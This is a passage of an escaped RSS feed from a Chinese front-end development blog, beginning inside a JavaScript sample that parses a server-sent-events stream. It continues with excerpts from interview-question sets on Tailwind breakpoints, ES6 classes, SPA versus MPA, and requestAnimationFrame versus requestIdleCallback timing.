&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;response&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;ok&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;response&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;body&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;throw&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Error(&lt;span style="color:#e6db74"&gt;&amp;#39;stream request failed&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;reader&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;response&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;body&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getReader&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;decoder&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;TextDecoder&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;buffer&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;done&lt;/span&gt; } &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;reader&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;read&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;done&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;buffer&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;decoder&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;decode&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;, { &lt;span style="color:#a6e22e"&gt;stream&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;events&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;buffer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;\n\n&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;buffer&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;pop&lt;/span&gt;() &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;of&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;events&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;line&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;split&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;find&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;item&lt;/span&gt;) &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;item&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;startsWith&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;data:&amp;#39;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;line&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;line&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;replace&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;/^data:\s*/&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;[DONE]&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;payload&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;JSON&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;parse&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;payload&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;type&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;delta&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;onDelta&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;payload&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;controller&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;abort&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;服务端返回时通常使用类似这样的协议：&lt;/p&gt;</description></item><item><title>CSS 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/css/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/css/</guid><description>&lt;p&gt;共 114 道 CSS 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-88f58c02-0b7c-4706-9e7e-08d7509205c5"&gt;1. Tailwind 的响应式断点（如 &lt;code&gt;md:&lt;/code&gt;）底层如何实现？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;Tailwind 的响应式断点基于构建期的变体系统实现。&lt;code&gt;md:&lt;/code&gt; 在编译阶段被解析为 screen 变体，并根据 &lt;code&gt;screens&lt;/code&gt; 配置生成对应的 &lt;code&gt;@media (min-width)&lt;/code&gt; 包裹规则。所有响应式逻辑依赖原生 CSS media query，遵循 mobile-first 原则，通过规则生成管线支持多变体组合，不涉及运行时计算。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这个问题的关键在于理解：
&lt;code&gt;md:&lt;/code&gt; 不是运行时逻辑，而是 &lt;strong&gt;构建期的变体（variant）展开机制&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;在 Tailwind CSS 中，响应式系统建立在三个核心之上：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;screens 配置映射&lt;/li&gt;
&lt;li&gt;变体解析机制&lt;/li&gt;
&lt;li&gt;JIT 构建阶段规则生成&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="一md-本质是什么"&gt;一、&lt;code&gt;md:&lt;/code&gt; 本质是什么？&lt;/h2&gt;
&lt;p&gt;当写：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;md:text-red-500&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tailwind 在构建阶段会将其解析为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;variant：&lt;code&gt;md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;utility：&lt;code&gt;text-red-500&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;然后生成如下 CSS：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;@&lt;span style="color:#66d9ef"&gt;media&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;min-width&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;768px&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;md&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;\&lt;/span&gt;:&lt;span style="color:#a6e22e"&gt;text-red-500&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;#ef4444&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;关键点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;md:&lt;/code&gt; 只是一个前缀标记&lt;/li&gt;
&lt;li&gt;构建阶段转换成 &lt;code&gt;@media&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;冒号会被转义为合法 CSS 选择器&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二断点从哪里来"&gt;二、断点从哪里来？&lt;/h2&gt;
&lt;p&gt;断点定义在配置文件中：&lt;/p&gt;</description></item><item><title>ES6 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/es6/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/es6/</guid><description>&lt;p&gt;共 51 道 ES6 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-86483690-5e1e-4dae-911e-0aba1644bd2f"&gt;1. 说说 Class 语法糖的底层实现&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：3 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;class 是基于函数构造器和原型链的语法封装，实例方法本质挂载在 prototype 上，继承通过 Object.create 构建原型链，同时通过构造函数原型链继承静态方法。super 依赖内部 [[HomeObject]] 机制定位父类方法。class 并未引入新的对象模型，而是在原型继承基础上增加语义约束与语法增强。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这个问题的关键在于理解：&lt;code&gt;class&lt;/code&gt; 并不是一种新的面向对象机制，而是对 &lt;strong&gt;原型继承（prototype-based inheritance）&lt;/strong&gt; 的语法封装。底层仍然是函数构造器 + 原型链。&lt;/p&gt;
&lt;p&gt;如果把 &lt;code&gt;class&lt;/code&gt; 当作 Java 那种基于类的模型去理解，就会产生误解。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;先看一个简单例子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;say&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;create&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;它在底层大致等价于：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;prototype&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;say&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;create&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;p&gt;一、实例方法的实现&lt;/p&gt;</description></item><item><title>HTML 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/html/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/html/</guid><description>&lt;p&gt;共 77 道 HTML 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-1c3850f1-2fdf-46a8-8b6e-ff9a6f1abf08"&gt;1. SPA和MPA的区别？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：1 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;SPA 通过前端路由在单一 HTML 中完成页面切换，交互流畅但首屏和 SEO 成本较高；MPA 每次导航请求新页面，SEO 友好且隔离性强，但交互体验有限；两者本质差异在于前后端渲染与路由职责的划分；现代项目常通过 SSR、SSG 等方式在两种模式之间折中。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;SPA 和 MPA 的区别，表面看是“页面跳转方式不同”，本质上是&lt;strong&gt;前端与服务器在渲染职责、路由控制以及资源加载策略上的分工差异&lt;/strong&gt;。理解这一点，才能在具体业务中做出合理选择。&lt;/p&gt;
&lt;p&gt;SPA（Single Page Application）只有一个 HTML 入口，首屏加载时会拉取完整的 JavaScript 应用骨架，之后的页面切换通过前端路由完成。URL 的变化并不会触发浏览器重新请求文档，而是由前端框架根据路由状态切换视图并复用已有资源。这种模式的优势在于页面切换流畅、状态可以在客户端长期保留，复杂交互体验更接近原生应用，非常适合后台系统、强交互工具型产品。但代价也同样明显：首屏资源压力大，SEO 先天不足，对 JS 执行和异常处理的依赖极高，一旦主 bundle 出现问题，整个应用都无法正常工作。&lt;/p&gt;
&lt;p&gt;MPA（Multi Page Application）则以“页面”为核心单元。每一次导航都会向服务器请求一个新的 HTML 文档，路由和渲染主要由服务端控制。页面之间天然隔离，资源和状态会随页面刷新而重置。这种模式的优势在于首屏直观、SEO 友好、容错性强，适合内容型站点、营销页和对搜索引擎依赖较高的业务场景。但在交互复杂度上，MPA 往往需要付出更多成本，例如重复加载公共资源、跨页面状态共享困难，整体体验也更接近传统 Web。&lt;/p&gt;
&lt;p&gt;从工程角度看，SPA 和 MPA 的差异还体现在构建和部署方式上。SPA 更强调前端工程化和运行时能力，构建目标是一个可长期运行的客户端应用；MPA 更强调页面级拆分和服务端模板渲染，前端更多是增强层而非控制中心。在现代实践中，两者并非对立关系，常见的折中方案包括 SSR、SSG 以及“多入口 SPA”，试图在交互体验和首屏性能、SEO 之间取得平衡。&lt;/p&gt;
&lt;p&gt;因此，选择 SPA 还是 MPA，并不存在绝对优劣，关键在于业务目标：是以复杂交互和状态管理为核心，还是以内容分发和搜索可见性为核心。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-ae93b62f-d9ef-46c2-8151-da164426f49f"&gt;2. 常见的H5标签有哪些 ，你是怎么用的&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：1 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;常见 H5 标签包括结构语义标签、文本语义标签、表单标签和媒体标签；实际使用中优先考虑语义表达和可访问性，而非样式；充分利用表单和媒体标签的原生能力以减少 JS 复杂度；&lt;code&gt;canvas&lt;/code&gt; 与 &lt;code&gt;svg&lt;/code&gt; 需根据场景选择；合理使用语义化标签能显著提升页面质量和长期可维护性。&lt;/p&gt;</description></item><item><title>JavaScript 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/javascript/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/javascript/</guid><description>&lt;p&gt;共 407 道 JavaScript 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-f142c5fe-17fd-444e-8daf-bd03d085ce69"&gt;1. &lt;code&gt;requestAnimationFrame&lt;/code&gt; 与 &lt;code&gt;requestIdleCallback&lt;/code&gt; 在渲染优化中的执行时机差异？谁优先触发？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：3 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;requestAnimationFrame&lt;/code&gt; 在浏览器即将进行下一帧渲染之前执行，用于动画与视觉更新，优先级高于渲染阶段后的任务。&lt;code&gt;requestIdleCallback&lt;/code&gt; 只会在当前帧所有渲染任务完成且仍有剩余时间时触发，属于低优先级空闲调度机制。因此在同一帧中，rAF 必然先于 rIC 执行。rAF 用于保证帧同步，rIC 用于利用空闲时间执行非关键任务。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这个问题本质是理解 &lt;strong&gt;浏览器一帧的调度模型&lt;/strong&gt;。
不搞清楚一帧里发生了什么，很容易回答成“谁快谁慢”这种表层结论。&lt;/p&gt;
&lt;p&gt;核心结论先给出：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在有下一帧渲染需求的情况下，&lt;code&gt;requestAnimationFrame&lt;/code&gt; 一定优先于 &lt;code&gt;requestIdleCallback&lt;/code&gt; 执行。
&lt;code&gt;requestIdleCallback&lt;/code&gt; 只会在当前帧还有“空闲时间”时才会触发。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;下面从浏览器帧模型拆解。&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id="一浏览器一帧的基本流程"&gt;一、浏览器一帧的基本流程&lt;/h1&gt;
&lt;p&gt;以 60fps 为例，一帧约 16.6ms。&lt;/p&gt;
&lt;p&gt;一次完整渲染循环大致是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;执行宏任务（例如 setTimeout）&lt;/li&gt;
&lt;li&gt;清空微任务队列&lt;/li&gt;
&lt;li&gt;触发 requestAnimationFrame 回调&lt;/li&gt;
&lt;li&gt;进行样式计算（Style）&lt;/li&gt;
